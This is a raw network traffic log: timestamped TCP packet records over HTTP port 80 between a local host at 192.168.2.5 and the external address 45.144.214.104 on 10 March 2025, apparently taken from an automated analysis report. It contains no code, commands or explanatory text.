Mar 10, 2025 18:02:09.532124043 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532144070 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.532187939 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532202959 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532217979 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532219887 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.532233000 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532247066 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.532349110 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532363892 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532377958 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532392025 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532413960 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532414913 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.532414913 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.532427073 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532443047 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532449007 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.532457113 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532471895 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532480955 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.532485962 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532504082 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532512903 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.532519102 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532535076 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532542944 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.532548904 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532573938 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.539627075 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.569377899 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569392920 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569415092 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569430113 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569437027 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.569442987 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569462061 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569464922 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.569483995 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569499016 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569504023 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.569513083 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569518089 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.569528103 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569541931 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569549084 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.569564104 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569577932 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.569578886 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569593906 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569607973 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569613934 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.569622993 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569637060 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569643974 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.569672108 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.569761992 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569778919 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569792986 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569808006 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569813967 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.569823027 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569838047 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569844007 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.569852114 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569866896 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569875956 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.569894075 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.569905996 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569920063 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569935083 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569955111 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.569962025 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569984913 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.569993019 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.569998026 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570014000 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570029974 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570035934 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.570045948 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570061922 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570069075 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.570076942 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570099115 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.570127010 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570141077 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570156097 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570164919 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.570171118 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570185900 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570190907 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.570202112 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570219040 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.570219994 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570239067 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570252895 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.570314884 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570328951 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570346117 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.570348978 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570363045 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570378065 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.570379972 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570415974 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.570439100 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570451975 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570466042 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570480108 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.570486069 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.570513010 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.623994112 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624017000 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624032974 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624053001 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624056101 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.624068975 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624083042 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624098063 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624099016 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.624114037 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624114990 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.624141932 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.624433041 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624448061 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624463081 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624476910 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624480009 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.624491930 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624505997 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.624546051 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624560118 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624576092 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624577999 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.624596119 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624603987 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.624618053 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624633074 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624646902 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624653101 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.624660969 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624682903 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624696016 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624703884 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.624730110 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.624746084 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624766111 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624778032 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.624780893 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624798059 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624811888 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.624813080 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624847889 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.624852896 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624874115 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.624902010 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.625317097 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625448942 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625463009 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625478029 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625478983 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.625492096 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625507116 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625516891 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.625521898 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625538111 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.625538111 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625555038 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625576019 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.625742912 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625777006 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.625830889 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625844955 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625860929 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625875950 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.625883102 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625907898 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625915051 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.625921011 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625937939 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625951052 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.625952005 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625967979 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.625979900 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.625983953 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.626022100 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.626076937 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.626096964 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.626111031 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.626126051 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.626131058 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.626141071 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.626154900 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.626156092 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.626172066 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.626185894 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.626198053 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.626210928 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.626211882 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.626225948 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.626235008 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.626241922 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.626255035 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.626257896 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.626274109 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.626276970 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.626308918 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.651494980 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.706809044 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.706854105 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.706866026 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.706877947 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.706890106 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.706913948 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.706918955 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.706938028 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.706950903 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.706963062 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.706964016 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.706976891 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.706989050 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707000017 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707001925 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707012892 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707027912 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707031965 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707046032 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707056999 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707060099 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707070112 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707082033 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707092047 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707097054 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707112074 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707123995 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707127094 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707134962 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707143068 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707149029 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707169056 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707171917 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707186937 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707200050 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707204103 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707218885 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707231045 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707242012 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707242966 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707256079 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707268953 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707279921 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707283020 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707303047 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707328081 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707333088 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707341909 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707354069 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707365036 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707376003 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707381010 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707386017 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707400084 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707406998 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707412004 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707425117 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707432985 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707436085 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707448006 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707458019 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707461119 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707474947 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707485914 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707487106 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707496881 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.707500935 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.707524061 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.716945887 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.716962099 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.716974020 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717027903 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.717071056 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.717076063 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717096090 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717108965 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717127085 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717139006 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717142105 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.717159033 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717164993 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.717171907 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717185020 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717197895 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.717202902 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717216015 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717226028 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.717227936 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717241049 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717256069 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.717261076 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717271090 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.717274904 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717288971 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717299938 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717313051 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717313051 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.717324972 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717329025 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.717341900 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717353106 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717359066 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.717365980 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717379093 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717391014 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717394114 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.717403889 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717425108 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.717441082 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.717448950 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717494011 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717505932 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717525005 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.717575073 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717586040 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717597008 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717609882 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.717614889 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.717631102 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.718663931 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.718703032 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.718839884 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.718852043 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.718863964 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.718874931 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.718885899 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.718888044 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.718904018 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.718907118 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.718915939 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.718928099 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.718936920 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.718940973 CET	80	49707	45.144.214.104	192.168.2.5
